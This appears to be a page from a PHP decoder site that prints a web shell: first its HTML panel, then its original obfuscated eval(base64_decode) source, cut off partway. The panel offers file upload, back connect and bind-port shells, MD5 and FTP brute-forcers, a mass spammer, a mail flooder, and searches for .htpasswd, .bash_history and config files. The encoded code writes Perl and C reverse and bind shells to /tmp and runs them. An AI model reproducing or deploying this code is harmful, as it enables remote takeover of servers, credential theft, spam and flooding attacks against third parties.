</td></tr>
</table></form></td><td valign=top align=left width=50%>
<form enctype="multipart/form-data" action method=POST>
<table width=100% height=100% valign=top class='td2'>
<tr><td>
<b>.::Upload::.</b>
</td><td align=right colspan=3>
<input type=submit class='bt' value="Upload">
<input type=hidden name="type" value=6>
</td></tr>
<tr><td colspan=2>
<font size=2 color=#888888>New name:</b>
<input type=text size=15 name="newname" class=ta>
</td><td width=4></td><td colspan=2>
<input type=file name="userfile" size=28>
</td></tr>
</table></form>
<tr><td valign=top align=left width=50%>
<form action method=POST>
<table width=100% height=100% valign=top class='td2'>
<tr><td>
<b>.::Alias::.</b>
</td><td align=right>
<input type=submit class='bt' value="RUN">
<input type=hidden name="type" value=7>
</td></tr>
<tr><td colspan=2>
<select name='value' class='ta' width=200>
<option>find apahce config file</option>
<option>find access_log files</option>
<option>find error_log files</option>
<option>find suid files</option>
<option>find suid files in current dir</option>
<option>find sgid files</option>
<option>find sgid files in current dir</option>
<option>find config.inc.php files</option>
<option>find config.inc.php files in current dir</option>
<option>find config* files</option>
<option>find config* files in current dir</option>
<option>find all writable files</option>
<option>find all writable files in current dir</option>
<option>find all writable directories</option>
<option>find all writable directories in current dir</option>
<option>find all writable directories and files</option>
<option>find all writable directories and files in current dir</option>
<option>find all service.pwd files</option>
<option>find service.pwd files in current dir</option>
<option>find all .htpasswd files</option>
<option>find .htpasswd files in current dir</option>
<option>find all .bash_history files</option>
<option>find .bash_history files in current dir</option>
<option>find all .mysql_history files</option>
<option>find .mysql_history files in current dir</option>
<option>find all .fetchmailrc files</option>
<option>find .fetchmailrc files in current dir</option>
<option>list file attributes on a Linux second extended file system</option>
<option>show opened ports</option>
<option>---------------------------------------------------------------------------------------------------------</option>
</select>
</td></tr>
</table></form></td>
<script>
function base64Encode(str)
{
var charBase64 = new Array(
'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P',
'Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f',
'g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v',
'w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/'
);
var out = "";
var chr1, chr2, chr3;
var enc1, enc2, enc3, enc4;
var i = 0;
var len = str.length;
do
{
chr1 = str.charCodeAt(i++);
chr2 = str.charCodeAt(i++);
chr3 = str.charCodeAt(i++);
enc1 = chr1 >> 2;
enc2 = ((chr1 & 0x03) << 4) | (chr2 >> 4);
enc3 = ((chr2 & 0x0F) << 2) | (chr3 >> 6);
enc4 = chr3 & 0x3F;
out += charBase64[enc1] + charBase64[enc2];
if (isNaN(chr2))
{
out += '==';
}
else if (isNaN(chr3))
{
out += charBase64[enc3] + '=';
}
else
{
out += charBase64[enc3] + charBase64[enc4];
}
}
while (i < len);
return out;
}
function base64Decode(str)
{
var indexBase64 = new Array(
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,62, -1,-1,-1,63,
52,53,54,55, 56,57,58,59, 60,61,-1,-1, -1,-1,-1,-1,
-1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,10, 11,12,13,14,
15,16,17,18, 19,20,21,22, 23,24,25,-1, -1,-1,-1,-1,
-1,26,27,28, 29,30,31,32, 33,34,35,36, 37,38,39,40,
41,42,43,44, 45,46,47,48, 49,50,51,-1, -1,-1,-1,-1,
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1
);
var out = "";
var chr1, chr2, chr3;
var enc1, enc2, enc3, enc4;
var i = 0;
str = str.replace(/^[^a-zA-Z0-9\+\/\=]+|[^a-zA-Z0-9\+\/\=]+$/g,"")
var len = str.length;
do
{
enc1 = indexBase64[str.charCodeAt(i++)];
enc2 = indexBase64[str.charCodeAt(i++)];
enc3 = indexBase64[str.charCodeAt(i++)];
enc4 = indexBase64[str.charCodeAt(i++)];
chr1 = (enc1 << 2) | (enc2 >> 4);
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
chr3 = ((enc3 & 3) << 6) | enc4;
out += String.fromCharCode(chr1);
if (enc3 != -1)
{
out += String.fromCharCode(chr2);
}
if (enc4 != -1)
{
out += String.fromCharCode(chr3);
}
}
while (i < len);
if (i != len)
{
new Error(BASE64_BROKEN);
return "";
}
return out;
}
</script>
<td valign=top align=left width=50%>
<form action method=POST>
<table width=100% height=100% valign=top class='td2'>
<tr><td width=1%>
<b>.::Base64_encode::.</b>
</td><td align=right width=6%>
<input type=button value="encode" class='bt' onclick='t.value=base64Encode(t.value)'>
</td>
<form action method=POST><td width=1%>
<b>.::Base64_decode::.</b>
</td><td align=right width=6%>
<input type=button value="decode" class='bt' onclick='n.value=base64Decode(n.value)'>
</td></tr>
<tr><td colspan=2>
<input type=text name='t' class='ta' size=34>
</td><td colspan=2>
<input type=text name='n' class='ta' size=34>
</td></tr>
</table></form>
</td></tr>
</td></tr>
</table>
</td></tr><tr></tr><tr><td>
<table cellpadding=0 cellspacing=0><tr><td>
<table class='td1' width=226>
<tr><td width=100% class='td2'>
<form action method=POST>
<table cellpadding=0 cellspacing=0 width=90% border=0><tr><td colspan=3>
<b>.::Back Connect::.</b></td></tr>
<tr><td width=100% height=10 colspan=3></td></tr>
<tr><td width=25% align=right><font color=#888888 size=2><b>IP:</b></font></td>
<td width=5%></td>
<td width=100% align=right>
<input type=text class='ta' name='ip' size=15 value=<?php echo $_SERVER['REMOTE_ADDR'];?>></td></tr>
<tr><td width=100% height=5 colspan=3></td></tr>
<tr><td width=25% align=right><font color=#888888 size=2>port:</font></td>
<td width=5%></td>
<td width=100% align=right>
<input type=text class='ta' name='port' size=10 value='5000'></td></tr>
<tr><td width=100% height=5 colspan=3></td></tr>
<tr><td width=25% align=right><font color=#888888 size=2>Method:</font></td>
<td width=5%></td>
<td width=100% align=right>
<select class='ta' name='method'>
<option>Perl</option>
<option>C#</option>
<option>---------------------</option>
</select></td></tr>
<tr><td width=100% height=5 colspan=3></td></tr>
<tr><td width=100% align=right colspan=3>
<input type=hidden name='type' value='12'>
<input type=submit value='Connect' class='bt'></form>
<tr><td width=100% height=5 colspan=3></td></tr>
</table>
</td></tr>
</table>
</td><td width=5></td><td>
<table class='td1' width=226>
<tr><td width=100% class='td2'>
<form action method=POST>
<table cellpadding=0 cellspacing=0 width=90% border=0><tr><td colspan=3>
<b>.::Bind port::.</b></td></tr>
<tr><td width=100% height=10 colspan=3></td></tr>
<tr><td width=25% align=right><font color=#888888 size=2><b>Port:</b></font></td>
<td width=5%></td>
<td width=100% align=right>
<input type=text class='ta' name='port' size=15 value='6000'></td></tr>
<tr><td width=100% height=5 colspan=3></td></tr>
<tr><td width=25% align=right><font color=#888888 size=2>pass:</font></td>
<td width=5%></td>
<td width=100% align=right>
<input type=text class='ta' name='pass' size=10 value='hshell'></td></tr>
<tr><td width=100% height=5 colspan=3></td></tr>
<tr><td width=25% align=right><font color=#888888 size=2>Method:</font></td>
<td width=5%></td>
<td width=100% align=right>
<select class='ta' name='method'>
<option>Perl</option>
<option>C#</option>
<option>---------------------</option>
</select></td></tr>
<tr><td width=100% height=5 colspan=3></td></tr>
<tr><td width=100% align=right colspan=3>
<input type=hidden name='type' value='12'>
<input type=submit value='Bind' class='bt'></form>
<tr><td width=100% height=5 colspan=3></td></tr>
</table>
</td></tr>
</table>
</td><td width=5></td><td width=50% height=141>
<table class='td1' width=100% height=100% valign=top><tr><td width=100% height=100% class='td2' valign=top>
<table cellpadding=0 cellspacing=0 width=95%><tr><td colspan=4>
<b>.::md5 bruter::.</b>
</td></tr><tr><td height=10></td></tr>
<tr><td width=20></td><td>
<font size=2 color="#888888" align=right><b>hash:</b></font></td><td width=5></td><td align=right>
<input type=text name='hash' class='ta' size=50>
</td></tr>
<tr><td height=5></td>
<tr><td width=20></td><td>
<font size=2 color="#888888" align=right>log_file:</font></td><td width=5></td><td align=right>
<input type=text name='log' class='ta' size=30 value='md5_log.txt'>
</td></tr>
<tr><td height=5></td>
<tr><td width=20></td><td>
<font size=2 color="#888888" align=right>dictionary_file:</font></td><td width=5></td><td align=right>
<input type=text name='dict' class='ta' size=30 value='md5_dict.txt'>
</td></tr>
<tr><td height=5></td>
<tr><td width=20></td><td>
</td><td width=5></td><td align=right>
<input type=submit class='bt' value='Start Brute'>
</td></tr>
</table>
</td></tr></table>
</td></tr></table>
<tr></tr><tr><td>
<table class='td1' width=100% height=310 valign=top align=left>
<form action method=POST>
<td valign=top align=left class='td2' width=33%>
<table cellpadding=0 cellspacing=0 width=100%>
<tr><td valign=top colspan=3 height=30>
<b>.::Spammer::.</b>
<tr><td width=25% align=right>
<font color=#888888 size=2><b>emails_file:</b></font>
</td><td width=65% align=right>
<input type=text name='elist' class='ta' size=17 value="emails.txt">
</td></tr><tr><td height=5></td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2><b>log_file:</b></font>
</td><td width=65% align=right>
<input type=text name='log' class='ta' size=17 value="mail_log.txt">
</td></tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2>From:</font>
</td><td width=65% align=right>
<input type=text name='from' class='ta' size=27>
</td></tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2>Subject:</font>
</td><td width=65% align=right>
<input type=text name='subject' class='ta' size=27>
</td></tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2>Message:</font>
</td><td width=65% align=right>
<textarea name='msg' class='ta' cols=20 rows=4></textarea>
</td></tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2>Check<sup>*</sup>:</font>
</td><td width=65% align=right>
<input type=text name='check' class='ta' size=27>
</td></tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
</td><td width=65% align=right>
<input type=submit class='bt' value="Start">
<input type=hidden name='type' value=10>
</td></tr>
</table></form>
<form action method=POST>
<td valign=top align=left class='td2' width=33%>
<table cellpadding=0 cellspacing=0 width=100%>
<tr><td colspan=3 height=30 valign=top><b>.::FTP-Brute::.</b></td></tr>
<tr><td width=31% align=right>
<font color=#888888 size=2><b>Host:</b></font>
</td><td align=right>
<input type=text name='host' class='ta' size=28>
</td><td width=5%></td></tr><tr><td height=35 width=100% colspan=2></td></tr>
<tr><td align=right>
<font color=#888888 size=2>ftp_users file:</font>
</td><td align=right>
<input type=text name='users' class='ta' size=17 value="ftp_users.txt">
</td><td></td></tr>
<tr><td height=5 width=100% colspan=2></td></tr>
<tr><td align=right>
<font color=#888888 size=2>ftp_passwd file:</font>
</td><td align=right>
<input type=text name='passwd' class='ta' size=17 value="ftp_passwds.txt">
</td><td></td></tr>
<tr><td height=5 width=100% colspan=2></td></tr>
<tr><td align=right>
<font color=#888888 size=2>ftp_log file:</font>
</td><td align=right>
<input type=text name='log' class='ta' size=17 value="ftp_log.txt">
</td><td></td></tr>
<tr><td colspan=2 height=20></td></tr>
<tr><td colspan=2 align=right>
<input type=submit class='bt' value="Start Brute">
<input type=hidden name="type" value=9>
</td></tr>
</td></table></form>
<form action method=POST>
<td valign=top align=left class='td2' width=33%>
<table cellpadding=0 cellspacing=0 width=100%>
<tr><td valign=top colspan=3 height=30>
<b>.::Flooder::.</b>
<tr><td width=25% align=right>
<font color=#888888 size=2><b>log_file:</b></font>
</td><td width=65% align=right>
<input type=text name='log' class='ta' size=17 value="mflood_log.txt">
</td></tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2>Send to:</font>
</td><td width=65% align=right>
<input type=text name='to' class='ta' size=27>
</td></tr><tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2>From:</font>
</td><td width=65% align=right>
<input type=text name='from' class='ta' size=27>
</td></tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2>Subject:</font>
</td><td width=65% align=right>
<input type=text name='subject' class='ta' size=27>
</td></tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2>Message:</font>
</td><td width=65% align=right>
<textarea name='msg' class='ta' cols=20 rows=4></textarea>
</td></tr>
<td height=25><td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2>Amount:</font>
</td><td width=65% align=right>
<input type=text name='amount' class='ta' size=17>
</td></tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2>Check<sup>*</sup>:</font>
</td><td width=65% align=right>
<input type=text name='check' class='ta' size=27>
</td></tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
</td><td width=65% align=right>
<input type=submit class='bt' value="Flood">
<input type=hidden name='type' value=10>
</td></tr>
</table></form>
</td></tr>
</table>
</td></tr>
</table>
</td></tr>
</table></center>
<center><font size=1 color=#444444>.:[Public v1.0]:.</font></center>
</body>
</html>
<!-- Coded by LoFFi & Ls01r //-->
Did this file decode correctly?
Original Code
<?php
eval (base64_decode("DQokYXV0aCA9IDA7DQoNCg0KDQppbmlfc2V0KCJzZXNzaW9uLmdjX21heGxpZmV0aW1lIiwxKTsNCnNlc3Npb25fc3RhcnQoKTsNCmVycm9yX3JlcG9ydGluZygwKTsNCnNhZmVfbW9kZSgpOw0KJG5hbWU9IjliNTM0ZWE1NWQwYjgyYzNhN2U4MDAwM2E4NGI2ODY1IjsgICAgIC8vbG9naW4gPSAnbXlsb2dpbicNCiRwYXNzPSJhMDI5ZDBkZjg0ZWI1NTQ5YzY0MWUwNGE5ZWYzODllNSI7ICAgICAvL3Bhc3MgID0gJ215cGFzcycNCmlmKCRhdXRoID09IDEpew0KaWYgKCFpc3NldCgkSFRUUF9TRVJWRVJfVkFSU1snUEhQX0FVVEhfVVNFUiddKSB8fCBtZDUoJEhUVFBfU0VSVkVSX1ZBUlNbJ1BIUF9BVVRIX1VTRVInXSkhPSRuYW1lIHx8IG1kNSgkSFRUUF9TRVJWRVJfVkFSU1snUEhQX0FVVEhfUFcnXSkhPSRwYXNzKQ0KICAgew0KICAgaGVhZGVyKCJXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT1cIlBhbmVsQWNjZXNzXCIiKTsNCiAgIGhlYWRlcigiSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCIpOw0KICAgZXhpdCgiQWNjZXNzIERlbmllZCIpOw0KICAgfQ0KfQ0KDQppZigkX0dFVFsna2lsbCddPT0neWVzJykNCnsNCnVubGluaygkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pOw0KZWNobyAiPHNjcmlwdD5hbGVydCgnWW91ciBzaGVsbCBzY3JpcHQgd2FzIHN1Y2NlZnVsbHkgZGVsZXRlZCEnKTwvc2NyaXB0PiI7DQp9DQoNCg0KZnVuY3Rpb24gbWQ1X2JydXRlKCRoYXNoLCRsb2csJGRpY3QpDQp7DQppZ25vcmVfdXNlcl9hYm9ydCgxKTsNCnNldF90aW1lX2xpbWl0KDApOw0KDQokZmwgPSBmb3BlbigkZGljdCwgInIiKTsNCiRmbCA9IGZvcGVuKCRsb2csICJ3Iik7DQokY291bnQgPSAwOw0KaWYoISRkaWN0KXsNCnJldHVybiAiRmlsbCAnZGljdGlvbmFyeV9maWxlJyBmaWVsZCEiOw0KfWlmKCEkbG9nKXsNCnJldHVybiAiRmlsbCAnbG9nX2ZpbGUnIGZpZWxkISI7DQp9ZWxzZWlmKCFzdHJsZW4oJGhhc2gpID09IDApew0KcmV0dXJuICJGaWxsICdtZDVfaGFzaCcgZmllbGQhIjsNCn1lbHNlew0KICB3aGlsZSghJGZlb2YoJGRpY3QpKXsNCiAgICAkcGFzcyA9IGZnZXRzKCRkaWN0KTsNCiAgICAkYnJ1dGVfaGFzaCA9IG1kNSgkcGFzcyk7DQogICAgaWYoJGJydXRlX2hhc2ggPT0gJGhhc2gpew0KICAgICAgZnB1dHMoJGxvZywgIiRoYXNoOiRwYXNzXG4tLS0iKTsNCiAgICAgIGZjbG9zZSgkZGljdCk7DQogICAgICBmY2xvc2UoJGxvZyk7DQogICAgICBleGl0Ow0KICAgIH1lbHNlew0KICAgICAgJGNvdW50ID0gJGNvdW50ICsgMTsNCiAgICAgIGZwdXRzKCRsb2csICIkY291bnQgcGFzc3dvcmRzIHdhcyBicnV0ZWQuLi4iKTsNCiAgICB9DQogIH0NCiAgZnB1dHMoJGxvZywgIiRjb3VudCBwYXNzd29yZHMgYXJlIGZhaWxlZCEiKTsNCn0NCmZjbG9zZSgkZGljdCk7DQpmY2xvc2UoJGxvZyk7DQp9DQoNCmZ1bmN0aW9uIHBvcnRfYmluZCgkcG9ydCwkcGFzcywkbWV0aG9kKQ0Kew0KJHBlcmwgPSAiSXlFdmRYTnlMMkpwYmk5d1pYSnNEUW9rVTBoRlRFdzlJaTlpYVc0dlltRnphQ0F0YVNJN0RRcHBaaUFvUUVGU1IxWWdQQ0F4S1NCN0lHVjRhWFFvTVNrN0lIME5DaVJNUw0KVk5VUlU1ZlVFOVNWRDBrUVZKSFZsc3dYVHNOQ25WelpTQlRiMk5yWlhRN0RRb2tjSEp2ZEc5amIydzlaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS2MyOWphMlYwS0ZNc0psQkdYMGxPUlZRcw0KSmxOUFEwdGZVMVJTUlVGTkxDUndjbTkwYjJOdmJDa2dmSHdnWkdsbElDSkRZVzUwSUdOeVpXRjBaU0J6YjJOclpYUmNiaUk3RFFwelpYUnpiMk5yYjNCMEtGTXNVMDlNWDFOUFEwdEZWQ3hUVDE5U1JWVg0KVFJVRkVSRklzTVNrN0RRcGlhVzVrS0ZNc2MyOWphMkZrWkhKZmFXNG9KRXhKVTFSRlRsOVFUMUpVTEVsT1FVUkVVbDlCVGxrcEtTQjhmQ0JrYVdVZ0lrTmhiblFnYjNCbGJpQndiM0owWEc0aU93MEtiRw0KbHpkR1Z1S0ZNc015a2dmSHdnWkdsbElDSkRZVzUwSUd4cGMzUmxiaUJ3YjNKMFhHNGlPdzBLZDJocGJHVW9NU2tOQ25zTkNtRmpZMlZ3ZENoRFQwNU9MRk1wT3cwS2FXWW9JU2drY0dsa1BXWnZjbXNwSw0KUTBLZXcwS1pHbGxJQ0pEWVc1dWIzUWdabTl5YXlJZ2FXWWdLQ0ZrWldacGJtVmtJQ1J3YVdRcE93MEtiM0JsYmlCVFZFUkpUaXdpUENaRFQwNU9JanNOQ205d1pXNGdVMVJFVDFWVUxDSStKa05QVGs0aQ0KT3cwS2IzQmxiaUJUVkVSRlVsSXNJajRtUTA5T1RpSTdEUXBsZUdWaklDUlRTRVZNVENCOGZDQmthV1VnY0hKcGJuUWdRMDlPVGlBaVEyRnVkQ0JsZUdWamRYUmxJQ1JUU0VWTVRGeHVJanNOQ21Oc2IzTg0KbElFTlBUazQ3RFFwbGVHbDBJREE3RFFwOURRcDkiOw0KJGMgPSAiSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzUnlhVzVuTG1nK0RRb2phVzVqYkhWa1pTQThjM2x6TDNSNWNHVnpMbWcrRFFvamFXNWpiSFZrWlMNCkE4YzNsekwzTnZZMnRsZEM1b1BnMEtJMmx1WTJ4MVpHVWdQRzVsZEdsdVpYUXZhVzR1YUQ0TkNpTnBibU5zZFdSbElEeGxjbkp1Ynk1b1BnMEthVzUwSUcxaGFXNG9ZWEpuWXl4aGNtZDJLUTBLYVc1MEkNCkdGeVoyTTdEUXBqYUdGeUlDb3FZWEpuZGpzTkNuc2dJQTBLSUdsdWRDQnpiMk5yWm1Rc0lHNWxkMlprT3cwS0lHTm9ZWElnWW5WbVd6TXdYVHNOQ2lCemRISjFZM1FnYzI5amEyRmtaSEpmYVc0Z2NtVnQNCmIzUmxPdzBLSUdsbUtHWnZjbXNvS1NBOVBTQXdLU0I3SUEwS0lISmxiVzkwWlM1emFXNWZabUZ0YVd4NUlEMGdRVVpmU1U1RlZEc05DaUJ5WlcxdmRHVXVjMmx1WDNCdmNuUWdQU0JvZEc5dWN5aGhkRzkNCnBLR0Z5WjNaYk1WMHBLVHNOQ2lCeVpXMXZkR1V1YzJsdVgyRmtaSEl1YzE5aFpHUnlJRDBnYUhSdmJtd29TVTVCUkVSU1gwRk9XU2s3SUEwS0lITnZZMnRtWkNBOUlITnZZMnRsZENoQlJsOUpUa1ZVTEYNCk5QUTB0ZlUxUlNSVUZOTERBcE93MEtJR2xtS0NGemIyTnJabVFwSUhCbGNuSnZjaWdpYzI5amEyVjBJR1Z5Y205eUlpazdEUW9nWW1sdVpDaHpiMk5yWm1Rc0lDaHpkSEoxWTNRZ2MyOWphMkZrWkhJZ0sNCmlrbWNtVnRiM1JsTENBd2VERXdLVHNOQ2lCc2FYTjBaVzRvYzI5amEyWmtMQ0ExS1RzTkNpQjNhR2xzWlNneEtRMEtJQ0I3RFFvZ0lDQnVaWGRtWkQxaFkyTmxjSFFvYzI5amEyWmtMREFzTUNrN0RRb2cNCklDQmtkWEF5S0c1bGQyWmtMREFwT3cwS0lDQWdaSFZ3TWlodVpYZG1aQ3d4S1RzTkNpQWdJR1IxY0RJb2JtVjNabVFzTWlrN0RRb2dJQ0IzY21sMFpTaHVaWGRtWkN3aVVHRnpjM2R2Y21RNklpd3hNQ2sNCjdEUW9nSUNCeVpXRmtLRzVsZDJaa0xHSjFaaXh6YVhwbGIyWW9ZblZtS1NrN0RRb2dJQ0JwWmlBb0lXTm9jR0Z6Y3loaGNtZDJXekpkTEdKMVppa3BEUW9nSUNCemVYTjBaVzBvSW1WamFHOGdkMlZzWTINCjl0WlNCMGJ5QnlOVGNnYzJobGJHd2dKaVlnTDJKcGJpOWlZWE5vSUMxcElpazdEUW9nSUNCbGJITmxEUW9nSUNCbWNISnBiblJtS0hOMFpHVnljaXdpVTI5eWNua2lLVHNOQ2lBZ0lHTnNiM05sS0c1bGQNCjJaa0tUc05DaUFnZlEwS0lIME5DbjBOQ21sdWRDQmphSEJoYzNNb1kyaGhjaUFxWW1GelpTd2dZMmhoY2lBcVpXNTBaWEpsWkNrZ2V3MEthVzUwSUdrN0RRcG1iM0lvYVQwd08yazhjM1J5YkdWdUtHVnUNCmRHVnlaV1FwTzJrckt5a2dEUXA3RFFwcFppaGxiblJsY21Wa1cybGRJRDA5SUNkY2JpY3BEUXBsYm5SbGNtVmtXMmxkSUQwZ0oxd3dKenNnRFFwcFppaGxiblJsY21Wa1cybGRJRDA5SUNkY2NpY3BEUXANCmxiblJsY21Wa1cybGRJRDBnSjF3d0p6c05DbjBOQ21sbUlDZ2hjM1J5WTIxd0tHSmhjMlVzWlc1MFpYSmxaQ2twRFFweVpYUjFjbTRnTURzTkNuMD0iOw0KDQppZigkbWV0aG9kPT0nUGVybCcpDQogIHsNCiAgICBmcHV0cygkaT1mb3BlbignL3RtcC9zaGxiY2snLCd3JyksYmFzZTY0X2RlY29kZSgkcGVybCkpOw0KICAgIGZjbG9zZSgkaSk7DQogICAgZXgod2hpY2goInBlcmwiKS4iIC90bXAvc2hsYmNrICIuJHBvcnQuIiAmIik7DQogICAgdW5saW5rKCIvdG1wL3NobGJjayIpOw0KICAgIHJldHVybiBleCgncHMgLWF1eCB8IGdyZXAgc2hsYmNrJyk7DQogIH0NCmVsc2VpZigkbWV0aG9kPT0nQyMnKQ0KICB7DQogICAgZnB1dHMoJGk9Zm9wZW4oJy90bXAvc2hsYmNrLmMnLCd3JyksYmFzZTY0X2RlY29kZSgkYykpOw0KICAgIGZjbG9zZSgkaSk7DQogICAgZXgoImdjYyBzaGxiY2suYyAtbyBzaGxiY2siKTsNCiAgICB1bmxpbmsoJ3NobGJjay5jJyk7DQogICAgZXgoIi90bXAvc2hsYmNrICIuJHBvcnQuIiAiLiRwYXNzLiIgJiIpOw0KICAgIHVubGluaygiL3RtcC9zaGxiY2siKTsNCiAgICByZXR1cm4gZXgoJ3BzIC1hdXggfCBncmVwIHNobGJjaycpOw0KICB9ZWxzZQ0KICB7DQogIHJldHVybiAnQ2hvb3NlIG1ldGhvZCc7DQogIH0NCg0KfQ0KDQpmdW5jdGlvbiBiYWNrY29ubmVjdCgkaXAsJHBvcnQsJG1ldGhvZCkNCnsNCiRwZXJsID0gIkl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKR050WkQwZ0lteDVibmdpT3cwS0pITjVjM1JsYlQwZ0oyVmphRzhnSW1CMWJtRnRaU0F0WVdBaU8yVmoNCmFHOGdJbUJwWkdBaU95OWlhVzR2YzJnbk93MEtKREE5SkdOdFpEc05DaVIwWVhKblpYUTlKRUZTUjFaYk1GMDdEUW9rY0c5eWREMGtRVkpIVmxzeFhUc05DaVJwWVdSa2NqMXBibVYwWDJGMGIyNG9KSFINCmhjbWRsZENrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSd2IzSjBMQ0FrYVdGa1pISXBJSHg4SUdScFpTZ2lSWEp5YjNJNklDUWhYRzRpS1QNCnNOQ2lSd2NtOTBiejFuWlhSd2NtOTBiMko1Ym1GdFpTZ25kR053SnlrN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktTQjhmQ0JrYVdVb0kNCmtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWkNCktUc05DbTl3Wlc0b1UxUkVUMVZVTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVSVkpTTENBaVBpWlRUME5MUlZRaUtUc05Dbk41YzNSbGJTZ2tjM2x6ZEdWdEtUc05DbU5zYjNObEtGTlVSRWwNCk9LVHNOQ21Oc2IzTmxLRk5VUkU5VlZDazdEUXBqYkc5elpTaFRWRVJGVWxJcE93PT0iOw0KDQokYyA9ICJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJIVmtaU0E4YzNsekwzTnZZMnRsZEM1b1BnMEtJMmx1WTJ4MVpHVWdQRzVsZEdsdVpYUXZhVzR1YUQ0TkNtbHVkQw0KQnRZV2x1S0dsdWRDQmhjbWRqTENCamFHRnlJQ3BoY21kMlcxMHBEUXA3RFFvZ2FXNTBJR1prT3cwS0lITjBjblZqZENCemIyTnJZV1JrY2w5cGJpQnphVzQ3RFFvZ1kyaGhjaUJ5YlhOYk1qRmRQU0p5Yg0KU0F0WmlBaU95QU5DaUJrWVdWdGIyNG9NU3d3S1RzTkNpQnphVzR1YzJsdVgyWmhiV2xzZVNBOUlFRkdYMGxPUlZRN0RRb2djMmx1TG5OcGJsOXdiM0owSUQwZ2FIUnZibk1vWVhSdmFTaGhjbWQyV3pKZA0KS1NrN0RRb2djMmx1TG5OcGJsOWhaR1J5TG5OZllXUmtjaUE5SUdsdVpYUmZZV1JrY2loaGNtZDJXekZkS1RzZ0RRb2dZbnBsY204b1lYSm5kbHN4WFN4emRISnNaVzRvWVhKbmRsc3hYU2tyTVN0emRISg0Kc1pXNG9ZWEpuZGxzeVhTa3BPeUFOQ2lCbVpDQTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnU1ZCUVVrOVVUMTlVUTFBcElEc2dEUW9nYVdZZ0tDaGpiMjV1WldOMEtHWmtMQw0KQW9jM1J5ZFdOMElITnZZMnRoWkdSeUlDb3BJQ1p6YVc0c0lITnBlbVZ2WmloemRISjFZM1FnYzI5amEyRmtaSElwS1NrOE1Da2dldzBLSUNBZ2NHVnljbTl5S0NKYkxWMGdZMjl1Ym1WamRDZ3BJaWs3RA0KUW9nSUNCbGVHbDBLREFwT3cwS0lIME5DaUJ6ZEhKallYUW9jbTF6TENCaGNtZDJXekJkS1RzTkNpQnplWE4wWlcwb2NtMXpLVHNnSUEwS0lHUjFjRElvWm1Rc0lEQXBPdzBLSUdSMWNESW9abVFzSURFcA0KT3cwS0lHUjFjRElvWm1Rc0lESXBPdzBLSUdWNFpXTnNLQ0l2WW1sdUwzTm9JaXdpYzJnZ0xXa2lMQ0JPVlV4TUtUc05DaUJqYkc5elpTaG1aQ2s3SUEwS2ZRPT0iOw0KDQppZigkbWV0aG9kPT0nUGVybCcpDQogIHsNCiAgICBmcHV0cygkaT1mb3BlbignL3RtcC9zaGxiY2snLCd3JyksYmFzZTY0X2RlY29kZSgkcGVybCkpOw0KICAgIGZjbG9zZSgkaSk7DQogICAgZXgod2hpY2goInBlcmwiKS4iIC90bXAvc2hsYmNrICIuJGlwLiIgIi4kcG9ydC4iICYiKTsNCiAgICB1bmxpbmsoIi90bXAvc2hsYmNrIik7DQogICAgcmV0dXJuIGV4KCduZXRzdGF0IC1hbiB8IGdyZXAgLWkgbGlzdGVuJyk7DQogIH0NCmVsc2VpZigkbWV